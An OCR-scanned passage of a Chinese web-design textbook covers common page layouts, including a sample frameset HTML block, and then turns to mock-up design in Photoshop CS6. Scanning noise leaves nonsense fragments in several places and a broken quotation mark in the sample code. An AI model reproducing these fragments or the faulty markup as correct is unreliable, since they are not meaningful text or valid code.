在 定位 网 站 布局 时 ， 需 要 考虑 到 这 些 布局 的 实现 方法 。 网 页 的 布局 要 有 利于 网 页 设计 时 的 实际 操 
作 ， 有 些 布 局 是 很 不 容易 实现 的 。 

在 实际 操作 中 ， 常 常 是 使 用 层 或 表格 来 实现 网 页 的 布局 ， 这 样 的 方式 只 能 实现 网 页 以 一 种 区 域 划 
分 的 方式 布局 。 假 如 在 布局 时 ， 设 计 了 一 种 圆 形 排列 的 布局 ， 这 是 不 容易 实现 的 ， 不 利于 布局 的 实际 
制作 完成 。 


7.2.1 使 用 表格 布局 页 面 


使 用 表格 实现 网 页 布局 是 最 常用 的 布局 实现 方式 。 表 格 可 以 方便 地 实现 网 页 区 域 的 划分 。 用 表格 
嵌 套 的 方法 ， 可 以 方便 地 实现 网 页 区 域 的 分 割 与 组 合 。 表 格 容易 用 边框 实现 很 多 种 边框 效果 ， 操 作 很 
方便 。 例 如 ， 图 7-1 的 布局 就 是 使 用 表格 实现 的 布局 。 这 些 内 容 在 以 后 的 章节 中 将 会 讲解 。 


7.2.2 ”使 用 层 结构 布局 
层 是 另 一 种 网 页 布局 方式 ， 与 表格 布局 的 主要 优点 是 可 以 方便 地 实现 网 页 区 域 的 定位 。 


使 用 多 个 层 ， 每 个 层 固定 一 个 区 域 。 通 过 对 层 的 位 置 设置 实现 网 页 的 布局 。 
表格 是 需要 以 一 定 的 方式 排列 的 ， 不 同 的 表格 与 表格 单元 格 之 间 存 在 着 布局 上 的 联系 ， 但 是 层 的 
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操作 是 互相 独立 的 。 层 可 以 更 灵活 地 实现 网 页 区 域 的 定位 ， 不 同 层 的 位 置 可 以 互 不 影响 地 调整 。 需 要 
绝对 定位 一 个 网 页 区 域 时 ， 常 常 使 用 一 个 层 来 实现 。 以 后 的 章节 将 会 讲解 层 布局 的 内 容 。 


7.3 常见 的 网 页 结构 类 型 
在 网 页 布局 设计 中 ， 根 据 用 户 的 使 用 习惯 与 设计 经 验 ， 已 经 形成 了 一 些 比较 认同 的 布局 方式 。 网 
页 的 布局 方式 主要 从 用 户 使 用 的 方便 性 、 界 面 大 方 美观 、 网 页 特色 等 方面 考虑 。 
7.3.1 “ 国 ” 字 型 布局 
“ 国 ” 字 型 布局 是 一 种 常见 的 网 页 布局 。 这 是 一 个 象形 的 说 法 ， 就 是 网 页 上 一 般 上 下 各 有 一 个 通 
幅 广告 条 ， 左 面 是 主 菜单 或 导航 条 ， 右 面 放 友情 链接 或 其 他 链接 的 内 容 ， 中 间 是 网 页 的 主要 内 容 。 这 
样 布局 可 以 充分 利用 网 页 的 版 面 ， 信 息 量 很 大 。 如 图 7-3 所 示 是 一 般 的 “ 国 ” 字 型 网 页 的 主要 布局 。 
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图 73 “ 国 ” 字 型 网 页 的 主要 布局 
7.3.2 “ 厂 ” 字 型 布局 


“ 厂 ” 字 型 布局 是 将 网 页 的 上 部 放置 Logo 与 Banner, 在 网 站 的 左边 放置 导航 条 与 其 他 链接 ,在 网 
站 的 右 下 方 布局 网 页 的 主要 内 容 。 

这 种 布局 的 好 处 是 网 页 的 各 个 部 分 布局 非常 集中 ， 可 以 在 一 个 区 域 突出 网 页 的 重点 内 容 ， 网 页 中 
的 内 容 主 次 分 明 ， 很 有 层次 感 。 如 图 7-4 所 示 是 网 页 的 “ 厂 ” 字 型 布局 。 
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图 7-4 网 页 的 “ 厂 ” 字 型 布局 


7.3.3 “框架 ”型 布局 


“框架 ”型 布局 是 指 以 框架 网 页 的 形式 实现 网 页 的 布局 。 
框架 是 在 一 个 网 页 中 的 不 同 区 域 打开 几 个 不 同 网 页 的 方法 。 在 一 个 包括 有 框架 的 网 页 中 ， 框 架 会 
在 每 一 个 框架 中 打开 不 同 的 网 页 ， 这 样 框架 就 可 以 实现 网 页 的 布局 。 
框架 网 页 可 以 使 用 Dreamweaver 自动 生成 。 如 图 7-5 所 示 ， 在 Dreamweaver 的 新 建 网 页 窗口 中 选 
择 “ 示 例 中 的 页 ”选项 ， 并 在 后 面 的 “示例 文件 夹 ” 列 表 中 选择 “框架 页 ”选项 ， 即 可 在 “示例 页 ” 
列表 中 选择 自己 所 需要 的 框架 网 页 。 
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新 建 的 框架 网 页 ， 实 际 上 是 生成 一 段 包 含 不 同 网 页 的 框架 代码 。 框 架 只 是 将 网 页 分 割 为 几 个 不 同 
的 区 域 ， 每 个 区 域 装 入 不 同 的 网 页 。 框 架 代码 如 下 : 


<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title> 框 架 网 页 </title> 
</head> 
<frameset rows="*" cols="80,” frameborder="no" border="0" framespacing="0"> 
<frame src="2.html" name="leftFrame" scrolling="No" noresize="noresize" id="leftFrame" title="leftFrame" /> 
<frameset rows="80,*" frameborder="no" border="0" framespacing="0"> 
<frame src="3.html" name="topFrame" scrolling="No" noresize="noresize" id="topFrame" title="topFrame" /> 
<frame src="5.html" name="mainFrame" id="mainFrame" title="mainFrame" /> 
</frameset> 
</frameset> 
<noframes><body> 
</body> 
</noframes></html> 


与 其 他 网 页 布局 不 同 的 是 ， 其 他 的 网 页 布局 都 是 在 一 个 网 页 上 实现 的 ， 而 框架 布局 是 在 几 个 不 同 
的 网 页 上 实现 的 。 
框架 网 页 的 布局 效果 如 图 7-6 所 示 。 
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图 7.6 框架 网 页 的 布局 
7.3.4 “封面 ”型 布局 


对 于 资料 类 或 阅读 类 、 专 辑 类 的 网 页 ， 常 使 用 “封面 ”型 布局 。 封 面 型 的 网 页 常 有 一 个 精美 的 封 
面 。 封 面 使 用 较 好 效果 的 平面 设计 ， 并 有 几 个 链接 或 是 只 有 一 个 “进入 ”链接 。 用 户 单 击 链接 以 后 即 
可 进入 网 页 的 内 容 。 

“封面 ”型 网 页 布局 的 网 页 结构 常常 很 简单 ， 需 要 使 用 精美 的 封面 效果 来 体现 网 页 的 内 容 。“ 封 
面 ” 网 页 的 布局 如 图 7-7 所 示 。 
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图 7-7 网 页 的 封面 布局 
7.3.5 ”Flash 型 布局 


Flash 动画 有 非常 好 的 视觉 效果 ， 可 以 给 用 户 带 来 很 深 的 视觉 印象 。 有些 网 站 需要 以 一 段 Flash 来 
表现 网 站 的 内 容 ， 可 以 使 用 Flash 布局 。 


网 页 的 Flash 布局 常 是 在 网 页 的 首页 放置 一 个 较 大 的 Flash 动画 ， 动 画 播放 完成 以 后 ， 用 户 单 击 进 
入 或 重 放 动 画 。 用 户 也 可 以 直接 跳 过 动画 进入 网 页 的 内 容 。 如 图 7-8 所 示 是 Flash 网 页 布局 。 
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图 7-8 ”Flash 型 网 页 布局 


Flash 播放 完 以 后 , 常会 停止 在 一 个 提示 界面 上 , 需要 用 户 选择 “重新 播放 ”动画 还 是 “进入 网 页 ”。 
用 户 也 可 以 直接 单 击 进入 网 页 的 链接 跳 过 动画 ， 如 图 7-9 所 示 。 
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图 7-9 Flash 动画 等 待 用 户 选择 
7.3.6 页面 排 版 布局 趋势 (Web 2.0) 


Web 2.0 是 一 个 新 兴 的 网 站 设计 技术 概念 。Web 2.0 的 网 页 一 般 使 用 CSS+DIV 实现 网 页 的 布局 ， 
使 用 Ajax 和 XML 与 服务 器 进行 数据 交互 。 

Web 2.0 网 页 的 布局 更 加 强调 网 站 的 专业 性 与 网 站 的 交互 性 。 网 站 可 以 体现 出 强大 的 功能 ,网 页 在 
简单 的 布局 中 也 可 以 体现 出 强大 的 功能 。 例 如 ，“ 众 歌 ” 与 “百度 ”就 是 Web 2.0 网 站 优秀 布局 方式 
的 代表 ， 在 一 个 简单 的 网 页 输入 框 中 可 以 查询 到 所 需要 的 知识 。 同 时 ， 在 查询 结果 的 网 页 中 ， 高 效 地 
布局 出 用 户 所 需要 的 内 容 。 

如 图 7-10 和 图 7-11 所 示 是 Google 网 站 的 首页 和 搜索 结果 页 面 ， 这 种 网 页 布局 是 Web 2.0 网 页 布 
Ne 网 珊 的 全 彩 和 和布 所 赴 巩 向 少 : 人 
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图 7-10 ”Google 简约 的 布局 7-11 ”Google 强大 的 功能 


先 7 章 ”网 页 的 排版 与 有 


74 常见 问题 


在 网 页 布局 时 ， 很 多 人 认为 ， 网 页 规模 越 大 、 页 面 越 复杂 ， 这 个 网 站 就 越 好 。 这 种 观点 是 不 正确 
的 。 网 站 更 重要 的 是 实现 网 站 的 功能 ， 而 不 是 盲目 地 追求 网 站 丰富 的 效果 和 复杂 的 布局 。 同 时 ， 需 要 
注意 网 站 布局 的 技巧 ， 在 网 页 布局 时 考虑 到 网 页 的 后 期 制作 。 


7.4.1 怎样 处 理 好 布局 的 丰富 与 简约 的 关系 


在 进行 网 页 的 布局 时 需要 注意 丰富 与 简约 的 关系 问题 。 

一 个 网 页 ， 为 了 需要 表现 出 网 页 中 的 内 容 ， 可 能 需要 很 多 网 页 与 大 量 的 内 容 来 体现 出 网 页 的 内 容 ， 
但 这 并 不 是 说 网 页 的 内 容 越 多 越 好 。 这 就 需要 网 页 的 内 容 在 一 定 程度 上 注意 简约 。 

网 页 布局 的 简约 就 是 使 用 最 少 的 内 容 和 更 加 丰富 的 手法 表现 出 网 页 的 内 容 ， 简 约 而 不 简单 ， 简 约 
而 丰富 ， 这 样 的 网 页 才 更 加 优秀 。 如 图 7-12 所 示 为 “百度 知道 ”的 网 页 。 这 种 网 站 有 着 非常 丰富 的 内 
容 和 强大 的 交互 功能 ， 且 可 以 使 用 简洁 的 布局 和 明快 的 色彩 来 实现 网 页 的 设计 效果 。 网 页 内 容 的 丰富 
并 不 是 做 出 复杂 繁琐 的 网 页 ， 而 是 可 以 合理 有 效 地 表现 出 网 站 的 内 容 。 
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图 7-12 “百度 知道 ”首页 丰富 的 内 容 与 简约 的 布局 


7.4.2 在 布局 中 需要 考虑 到 的 其 他 问题 


在 布局 网 页 时 ， 还 需要 考虑 到 布局 中 的 内 容 。 虽 然 网 页 的 布局 只 是 对 网 页 进行 区 域 分 割 ， 但 在 布 
局 网 页 时 ， 也 要 考虑 到 每 一 个 区 域 的 内 容 ， 考 虑 到 每 一 个 内 容 的 实现 。 
网 页 的 颜色 使 用 也 是 网 页 设计 的 重要 内 容 。 在 网 页 布局 时 ， 也 需要 考虑 到 每 一 个 区 域 的 颜色 使 用 ， 


NN aas ewe 


网 页 布局 不 同 区 域 的 颜色 需要 合理 的 搭配 。 同 时 ， 在 网 页 布局 时 ， 考 虑 到 网 页 内 容 的 程序 实现 ， 有 些 
网 页 布局 ， 在 进行 数据 库 查 询 与 生成 网 页 内 容 时 ， 是 不 容易 实现 的 。 如 图 7-13 所 示 ， 这 种 圆 形 的 网 页 
布局 ， 可 以 很 好 地 体现 出 网 页 效果 ， 但 是 网 页 中 的 文本 、 链 接 却 很 难 实现 。 网 页 中 的 表格 或 DIV 层 ， 
很 容易 实现 规则 的 布局 排列 ， 不 容易 实现 这 种 不 规则 形状 的 排列 。 


要 丁 不 大 玉 页 


7-13 不 容易 实现 的 网 页 布局 
7.5 小 结 


在 网 页 设计 之 前 ， 需 要 对 网 页 的 版 面 进行 初步 的 规划 ， 对 网 页 的 区 域 进行 初步 的 分 割 ， 这 就 是 网 
页 布局 的 工作 。 本 章 从 布局 方式 上 讲述 了 几 种 常用 的 网 页 布局 ， 在 以 后 的 相关 章节 中 会 具体 讲解 这 些 
布局 的 制作 与 实现 方式 。 


第 () 章 


使 用 Photoshop 进行 页 面 设计 
ee 
Photoshop CS6 简介 
网 页 有 的 设计 元 秦 
网 页 的 大 小 
艺术 字 的 向 入 
按 扬 的 设计 
图片 的 导出 


香 理 理 理 理 理 


在 网 站 设计 之 前 ， 需 要 设计 出 网 站 效果 图 ， 对 网 站 的 效果 、 色 彩 、 布 局 进行 效果 图 设 
计 。Photoshop C56 是 进行 平面 设计 的 标准 软件 ， 有 着 非常 强大 的 位 图 图 像 设 计 功 能 。 大 
部 分 的 网 站 效果 图 都 是 用 Photoshop 完成 的 。 本 章 将 讲解 使 用 Photoshop 设计 网 页 的 效 
果 图 。 


ER 网 册 制作 与 网 站 建设 技术 详 角 


8.1 Photoshop CS6 介绍 


Photoshop 是 世界 顶尖 级 的 位 图 图 像 设 计 与 制作 软件 ， 是 平面 设计 软件 的 事实 标准 。 图 像 处 理 是 对 
已 有 的 位 图 图 像 进行 编辑 处 理 以 及 制作 出 一 些 特殊 效果 ， 工 作 的 重点 在 于 对 图 像 进行 处 理 加 工 。 

有 关 Photoshop 的 知识 包括 图 片 处 理 的 一 些 基本 概念 、 色彩 原理 和 选取 颜色 模式 、 处理 范 围 选取 与 
控制 、 使 用 各 种 绘图 工具 、 图 像 编 辑 、 调 整 图 像 色彩 和 色调 、 使 用 图 层 、 路 径 、 通 道 和 蒙 板 的 应 用 、 
滤 镜 使 用 等 。 针 对 网 页 设计 ， 主 要 是 对 图 片 进行 简单 的 处 理 ， 对 不 同 的 图 片 进行 组 合 与 编辑 。 

了 Photoshop CS6 有 着 友好 的 工作 界面 和 方便 的 工具 。 在 使 用 Photoshop CS6 之 前 ， 需 要 先 来 认识 一 
下 其 工作 界面 和 常用 工具 。 如 图 8-1 所 示 为 Photoshop CS6 的 工作 界面 。 
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图 8-1 全 新 的 Photoshop CS6 工作 界面 


Photoshop CS6 界面 中 的 工作 区 与 工具 箱 功能 介绍 如 下 。 

加 工作 区 : 工作 区 是 Photoshop 中 进行 图 片 设计 的 工作 区 域 , 对 图 片 所 有 的 设计 都 是 在 工作 区 中 
完成 的 。 

回 工具 箱 : 工具 箱 是 进行 图 片 设计 时 的 常用 工具 。 有 些 工具 的 右 下 角 有 一 个 小 三 角 ， 表 示 这 个 

工具 是 一 组 工具 。 例 如 ， 单 击 “ 和 矩形 工具 ”. 昌 不 放 ， 将 显示 如 图 8-2 所 示 的 工具 菜单 ， 然 后 
可 以 在 这 个 工具 菜单 中 选择 需要 的 工具 。 

回 ”工具 选项 标签 : 选择 一 个 工具 以 后 ， 可 以 在 工具 选项 标签 中 对 这 个 工具 进行 设置 。 

回 面板 : 面板 一 般 位 于 文档 窗口 的 右 侧 ， 主 要 用 来 查看 和 修改 图 像 。 面 板 分 为 3 组 , 分 别 是 “ 颜 
色 / 色 板 /样式 ”面板 组 、“ 调 整 / 蒙 版 ”面板 组 “图 层 / 通 道 /路 径 ” 面 板 组 。 
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图 8-2 单 击 “ 和 矩形 工具 ”以 后 显示 的 工具 菜单 


8.2 ”使 用 Photoshop CS6 设计 页 面 


网 页 设计 是 平面 设计 的 一 种 。 和 设计 其 他 图 像 作品 一 样 ， 同 样 要 讲究 色彩 、 布 局 、 设 计 元 素 、 设 
计 创意 、 设 计 布 局 等 设计 技巧 。 

使 用 Photoshop 对 网 页 的 效果 图 进行 设计 时 ， 需 要 进行 一 定 的 创意 与 设计 。 网 页 中 的 内 容 一 般 是 以 
文字 为 主 ， 所 有 网 页 的 设计 要 求 清新 自然 ， 容 易 突出 网 站 的 内 容 。 有 些 种 类 的 网 页 可 以 进行 一 些 夸张 
的 艺术 设计 ， 用 夸张 的 颜色 与 视觉 效果 表现 网 站 的 内 容 。 


8.2.1 常见 页 面 大 小 


关于 网 页 的 大 小 ， 并 没有 统一 的 规定 或 要 求 。 浏 览 器 可 以 根据 网 页 的 大 小 自动 调整 和 布局 网 页 ， 
当 网 页 超过 一 个 版 面 时 ， 浏 览 器 会 出 现 滚动 条 ， 使 网 页 的 内 容 布局 到 另 一 个 版 面 上 。 
网 页 的 大 小 需要 根据 具体 要 求 和 常规 的 设计 习惯 确定 。 网 页 的 页 面 大 小 一 般 有 3 种 情况 。 


1. 居中 类 型 小 版 面 网 站 


有 些 网 页 只 需 设 计 出 网 页 能 提供 的 功能 即 可 。 例 如 ， 百 度 、Google 等 搜索 引擎 页 面 通常 只 列 出 搜 
索 功能 和 相关 的 链接 ， 排 列 在 网 页 的 中 央 位 置 ， 如 图 8-3 所 示 。 这 种 网 站 没有 规定 的 网 页 宽度 和 大 小 
的 要 求 。 个 人 网 页 也 没有 大 小 的 要 求 ， 只 需 排版 到 一 个 网 页 上 即 可 。 
CE me 


二 


8-3 ”居中 类 型 网 站 


网 本 从 与 网 站 建设 技术 让 


2. 778 像素 居中 型 网 站 


一 些 网 站 ， 在 1024X768 的 显示 分 辨 率 下 ， 网 页 的 两 边 有 两 个 空白 区 域 ， 网 页 的 内 容 在 网 站 中 央 ， 
这 是 传统 型 网 页 宽度 。 网 页 的 宽度 一 般 为 778 像素 或 800 像素 左右 ， 在 800X 600 的 显示 分 辩 率 下 ， 正 
好 布 满 整个 屏幕 。 如 果 在 1024X768 的 显示 分 辨 率 下 ， 两 边 的 空白 区 域 可 以 设计 两 个 对 联 广 告 ， 在 网 
页 中 用 JavaScript 判断 显示 器 显示 分 辨 率 , 在 有 空白 区 域 时 显示 这 两 个 对 联 广 告 。 由 于 科技 的 不 断 发 展 ， 
800X600 的 显示 分 辨 率 已 经 很 少 使 用 ， 所 以 778 像素 居中 型 网 站 也 渐渐 退出 了 历史 的 舞台 。 

3. 宽屏 网 站 

宽屏 网 站 在 1024X768 的 显示 分 辩 率 下 正好 能 布 满 整 个 显示 器 宽度 ， 宽 度 为 1002 像素 ,新闻 类 网 
站 常 使 用 这 种 页 面 宽度 。 网 页 的 页 面 长 度 根据 网 页 的 页 面 内 容 的 多 少 而 定 。 网 站 的 主页 最 好 布 满 一 整 
屏 ， 如 果 有 很 多 内 容 ， 可 以 有 很 多 屏 。 但 是 ， 如 果 网 页 的 页 面 太 大 ， 可 能 影响 到 网 页 的 下 载 与 显示 速 
度 。 在 实际 设计 中 ， 网 页 的 长 度 最 好 不 要 超过 五 至 六 屏 。 例如， 人 民 网 (http://www.people.com.cn) 是 
一 个 宽度 为 1002 的 宽屏 网 站 , 在 1024X768 的 显示 分 辩 率 下 正好 占 满 整个 屏幕 ， 拖 动 滚动 条 时 可 以 查 
看 多 屏 内 容 ， 如 图 8-4 所 示 。 


4. 网 页 效果 图 中 效果 图 宽度 的 设置 

在 Photoshop CS6 中 ， 可 以 通过 设置 图 片 的 大 小 来 设置 网 页 效果 图 的 大 小 。 选 择 “ 图 像 ”| “图像 
大 小 ”命令 ， 打 开 “ 图 像 大 小 ”对 话 框 ， 如 图 8-5 所 示 ， 在 “宽度 ”文本 框 中 输入 “778”， 在 “高 度 ” 
文本 框 中 输入 “1024”， 然 后 单 击 “ 确 定 ”按钮 完成 设置 。 
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图 8-4 宽屏 网 站 图 图 8-5 设置 图 像 的 大 小 
8.2.2 ”确定 网 页 色彩 定位 


在 设计 网 页 效果 图 时 ， 最 先 需 要 考虑 网 站 色彩 的 定位 。 网 站 的 效果 图 ， 需 要 在 一 个 明确 的 色彩 定 
位 下 进行 设计 。 所 有 的 设计 元 素 ， 需 要 与 这 个 色彩 定位 相 统 一 。 
不 同类 别 的 网 站 对 网 页 的 色彩 有 着 不 同 的 要 求 。 网 站 既 可 以 使 用 清爽 自然 的 色彩 ， 也 可 以 使 用 夸 
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张 的 色调 和 艺术 效果 。 

回 ”功能 类 网 站 :; 如 百度 、Google 等 网 站 有 着 强大 的 交互 功能 ， 用 户 在 使 用 这 些 网 站 时 ， 主 要 需 
要 的 是 网 站 的 强大 搜索 功能 。 网 页 的 版 面 和 色调 应 力求 简洁 ， 过 于 丰富 的 页 面 会 使 用 户 在 济 
览 网 站 时 感到 视觉 疲劳 。 

回 新闻 类 网 站 : 新 闻 类 网 站 一 般 有 着 大 量 的 新 闻 内 容 ， 网 页 一 般 使 用 白色 背景 和 黑色 文字 ， 页 
面 简洁 ， 用 户 可 以 方便 地 查看 新 闻 内 容 。 可 以 搭配 一 些 蓝 色 、 灰 色 。 

回 ”产品 类 网 站 : 产品 类 网 站 的 色调 需要 与 产品 的 内 容 格调 一 致 。 例 如 ， 女 性 服装 类 网 站 可 以 使 
用 粉红 色 ， 突 出 浪漫 情怀 。 旅 游 类 网 站 可 以 使 用 红色 或 天 蓝 色 ， 使 人 很 容易 联想 到 优美 的 自 
然 风 光 。 网 站 可 以 使 用 比较 浓重 的 颜色 

回 ”艺术 类 网 站 : 艺术 类 网 站 追求 的 是 网 站 的 艺术 色彩 。 网 站 的 色调 和 布局 可 以 和 艺术 设计 一 样 
采用 夸张 的 思路 和 手法 。 例 如 ， 可 以 使 用 全 黑 背 景 和 全 白文 字 实现 强烈 的 视觉 对 比 。 可 以 使 
用 大 红 大 绿 的 版 面 来 体现 艺术 设计 的 风格 。 

回 ”公司 宣传 网 站 : 公司 宣传 型 的 网 站 一 般 使 用 比较 正式 的 颜色 和 内 容 。 网 站 可 以 使 用 与 公司 业 
务 或 产品 相关 的 设计 元 素 与 色调 ， 网 页 的 色彩 与 内 容 需 要 重点 表现 公司 的 产品 与 服务 理念 。 
例如 ， 网 络 公司 的 首页 常常 使 用 蓝 色 风格 ， 旅 行 社 的 网 站 常常 使 用 绿色 风格 。 

回 个 人 网 站 : 个 人 网 站 的 色彩 与 风格 没有 特殊 要 求 ， 可 以 根据 设计 者 的 个 人 喜好 ， 灵 活 地 安排 
与 发 挥 网 页 的 创意 和 布局 。 个 人 网 站 的 设计 可 以 使 用 很 夸张 强烈 的 色彩 表现 手法 。 


8.2.3 设计 网 页 的 功能 结构 


网 站 是 由 不 同 的 功能 组 成 的 ， 这 些 功能 都 是 网 站 不 可 分 割 的 组 成 部 分 。 在 进行 网 站 设计 时 ， 要 充 
分 考虑 到 网 站 的 各 种 具体 功能 模块 的 设计 。 这 些 功 能 模块 的 页 面 设计 ， 需 要 与 首页 、 其 他 页 面 实 现 风 
格 和 色彩 的 统一 
例如 ， 一 个 公司 宣传 网 站 ， 需 要 有 公司 形象 展示 、 产 品 展示 、 公 司 新 闻 、 客 户 服务 、 客 户 留 言 等 
功能 。 这 些 功 能 要 根据 重要 程度 在 首页 上 有 一 定 的 体现 。 每 一 个 模块 ， 需 要 根据 内 容 设计 出 和 模块 相 
符合 的 网 页 风格 ， 不 同 的 风格 需要 与 网 站 首页 相 谐 调 。 
网 站 的 首页 需要 根据 网 页 内 容 的 重要 性 ， 体 现 出 网 站 重要 的 内 容 。 例 如 ， 一 个 公司 宣传 类 的 网 站 
可 以 有 以 下 内 容 : 
回 首页 必须 有 足够 的 版 面 与 内 容 体现 公司 的 产品 与 服务 。 因 为 网 站 是 用 来 宣传 和 推广 产品 的 ， 
而 不 是 用 来 推广 公司 的 。 
回 ”网 站 的 首页 必须 突出 一 些 客户 的 内 容 。 一 个 网 站 应 以 客户 服务 为 中 心 ， 方 便 客户 的 使 用 ， 客 
户 所 需要 的 内 容 放 在 网 站 首页 重要 位 置 。 
回 ”网 站 需要 有 一 些 公司 形象 展示 的 内 容 。 公 司 网 站 需要 在 一 定 程度 上 展示 公司 的 形象 ， 可 以 有 
企业 文化 、 公 司 活动 、 领 导致 辞 等 内 容 。 
回 ”网 站 需要 注意 内 容 的 完整 性 。 即 使 规模 不 大 的 网 站 ， 也 要 注意 其 可 以 体现 足够 多 的 内 容 。 例 
公司 的 联系 方式 、 支 付 方式 、 业 务 人 员 、 产 品 资料 等 内 容 ， 这 样 可 以 使 用 户 登 录 网 站 后 
方便 地 查找 到 自己 所 需 的 内 容 。 
如 图 8-6 所 示 是 一 个 车 辆 销售 网 站 的 首页 。 在 该 首页 中 主要 采用 了 以 下 方式 来 重点 突出 公司 的 产 
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户 功能 。 


网 站 使 用 图 片 来 突出 产品 。 
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站 的 导航 条 列 出 网 站 所 有 的 功能 。 
页 的 Banner 动画 体现 网 站 的 产品 与 特色 。 
网 站 左下 方 安 排 用 户 登录 和 注册 功能 ， 这 一 功能 是 网 站 的 重点 功能 。 
左 侧 链接 提供 详细 的 购车 指南 。 
网 站 的 中 心 位 置 放置 网 站 的 新 闻 与 活动 。 


网 站 设 有 搜索 框 ， 可 以 方便 地 分 类 查找 车 型 。 
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图 8-6 一 个 车 辆 销售 网 站 的 功能 结构 


决胜 赛场 ! 


8.3 网 页 中 的 设计 元 素 


网 站 中 有 一 些 形成 习惯 的 设计 方法 和 设计 内 容 ， 这 些 内 容 已 经 被 广大 用 户 所 接受 。 进 行 网 页 平面 
设计 时 ， 需 要 充分 体现 出 这 些 设 计 内 容 。 


一 般 的 网 站 ， 都 需要 网 站 Logo 


内 容 都 有 着 不 同 的 要 求 。 
8.3.1 导航 区 


区 、 导 航 条 、 网 站 布局 区 、 版 权 


区 等 设计 元 素 。 这 些 区 域 的 风格 与 


网 站 中 ， 在 上 面 或 左面 ， 一 般 有 一 个 导航 条 。 导 航 条 把 网 站 中 重要 的 链接 集中 放 在 一 起 ， 用 户 访 
问 时 ， 可 以 直接 在 导航 条 上 选择 自己 所 需 的 链接 。 一 个 网 站 下 不 同 的 网 页 一 般 有 着 相同 的 导航 条 ， 这 
样 用 户 就 更 容易 找到 自己 所 需要 的 链接 。 


后 
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1. 文本 链接 导航 条 

导航 条 的 实现 方式 一 般 就 是 一 块 按 一 定 方式 排列 的 链接 ， 可 以 是 一 行 、 两 行 或 多 行 ， 可 以 用 文字 
链接 、 图 片 链接 ， 也 可 以 是 图 片 热点 链接 。 如 图 8-7 所 示 为 新 浪 网 的 多 行 链接 导航 条 。 文 本 链接 导航 
条 制作 简单 ， nin Sisal sd dh 
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8-7 新浪 的 多 行 链接 导航 条 


2. 下 拉 菜 单 导航 条 

下 拉 菜 单 导航 条 可 以 在 导航 条 中 列 出 很 多 选项 和 内 容 。 这 种 导航 条 布局 简约 ， 功 能 强大 。 
Dreamweaver CS6 的 菜单 工具 可 以 方便 地 设计 出 网 页 下 拉 菜 单 ,也 可 以 使 用 JavaScript 代码 编写 网 页 导 
航 条 。 如 图 8-8 所 示 为 某 网 站 的 下 拉 菜 单 导航 条 。 


图 8-8 “中 国 建设 银行 ”网 站 的 下 拉 菜 单 导 航 条 


3. 标签 式 导 航 条 

标签 式 导航 条 有 着 很 好 的 视觉 效果 和 交互 功能 。 用 户 单 击 一 个 标签 以 后 ， 可 以 更 改 导 航 条 的 内 容 。 
标签 导航 条 是 用 JavaScript 程序 控制 网 页 的 DIV 标签 来 实现 的 .Dreamweaver CS6 也 可 以 方便 地 生成 标 
签 导 航 条 ， 如 图 8-9 所 示 为 某 网 站 的 标签 导航 条 。 


4. Flash 导航 条 和 图 片 导航 条 


用 Flash 导航 条 的 动画 功能 可 以 实现 很 好 的 视觉 效果 。 导 航 条 要 求 简 洁 美观 , 背景 颜色 与 字体 颜色 
对 比 强烈 ， 这 样 用 户 可 以 很 方便 地 看 清 导 航 条 。 背 景 可 以 使 用 一 些 图 案 ， 图 片 的 热点 链接 可 以 实现 网 
页 导航 条 的 功能 ， 图 像 导 航 条 可 以 做 出 一 些 夸张 的 视觉 效果 。 如 图 8-10 所 示 为 “ 卡 卡 乐园 ”网 页 的 导 


和 图 片 效 果 。 
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图 8-10 “ 卡 卡 乐园 ”网 站 的 图 片 导航 条 


8.3.2 ”页 面 布局 区 


网 页 的 布局 区 指 的 是 网 站 首页 或 二 级 页 面 中 网 页 实际 内 容 的 布局 。 网 站 的 美工 设计 主要 体现 在 
站 主要 内 容 的 布局 上 。 
在 进行 网 站 页 面 布局 的 设计 之 前 ， 需 要 对 网 站 的 内 容 进 行 筛选 ， 不 同 的 内 容 根据 其 重要 性 放 在 


网 


网 


站 不 同 的 位 置 。 对 网 站 有 重要 的 推广 价值 、 商 业 价值 的 内 容 ， 应 尽量 放 在 网 站 首页 重要 的 位 置 ， 且 需 


要 使 用 醒目 的 色彩 与 布局 。 


在 设计 完成 重要 内 容 后 ， 可 以 根据 网 页 的 版 面 ， 将 其 他 内 容 合理 地 安排 到 网 站 的 合适 位 置 中 。 可 
以 在 首页 设置 一 些 公告 栏 、 友 情 链接 、 最 新 新 闻 等 内 容 ， 如 图 8-11 所 示 是 一 个 网 站 布局 区 的 内 容 ， 在 


这 个 网 页 布局 区 中 使 用 了 下 面 的 方法 实现 网 页 的 内 容 。 
回 ”网 页 左 侧 主要 排列 链接 和 信息 查找 等 内 容 ， 这 些 是 用 户 经 常 使 用 的 内 容 。 
回 ”网 页 的 上 部 排列 着 公司 新 闻 和 公司 活动 的 重点 内 容 。 
回 ”网 页 的 中 部 ， 在 用 户 最 醒目 的 位 置 放置 着 企业 产品 图 片 。 


@ 
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网 页 使 用 大 量 的 版 面 排列 公司 的 产品 。 


EEC 
Te 


品牌 销 。 国内 。” 寺 宇 岛 。 在线 读书 “高 区 


人 
天 要、 机票、 充 他 、 票务 
人 


图 8-11 网 页 布局 区 的 内 容 


8.3.3 版 权 区 


网 站 的 最 下 部 一 般 是 一 个 版 权 区 。 版 权 区 的 主要 内 容 是 版 权 、 网 站 信息 、 网 站 联系 方式 等 内 容 。 
这 一 区 域 的 表现 方式 是 文字 信息 和 链接 ， 一 般 使 用 简单 布局 ， 不 需要 使 用 复杂 背景 。 
版 权 区 还 需要 按照 规定 放置 网 站 备案 号 、 网 上 报警 亭 等 内 容 ， 如 图 8-12 所 示 为 新 浪 网 的 版 权 区 。 


= 


设 为 首页 。 手机 新 六 网 Pad 版 。 移动 罕 户 满 ~ 登录 码 全 ~- 全 认 ~ 邮箱 > 网 站 全 


客户 服务 志 线 : docem 


图 8-12 新 浪 网 的 版 权 区 
8.3.4 ”使 用 辅助 线 对 网 页 效果 图 进行 基本 分 区 


在 使 用 Photoshop CS6 进行 网 页 效果 图 设计 之 前 , 需要 使 用 辅助 线 对 网 页 的 布局 和 主要 内 容 进 行 基 


本 的 划分 。 
选择 “视图 ”| “标尺 ”命令 ， 即 可 在 工作 区 中 显示 标尺 工具 。 单 击 标尺 并 按 住 不 放 拖 动 ， 即 可 
产生 一 条 辅助 线 。 在 需要 辅助 线 的 位 置 停止 拖 动 , 即 可 把 一 条 辅助 线 放置 到 所 设计 的 图 片上 。 如 图 8-13 


所 示 为 使 用 辅助 线 对 网 页 进行 最 基本 的 区 域 划分 。 
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网 站 叶 及 条 
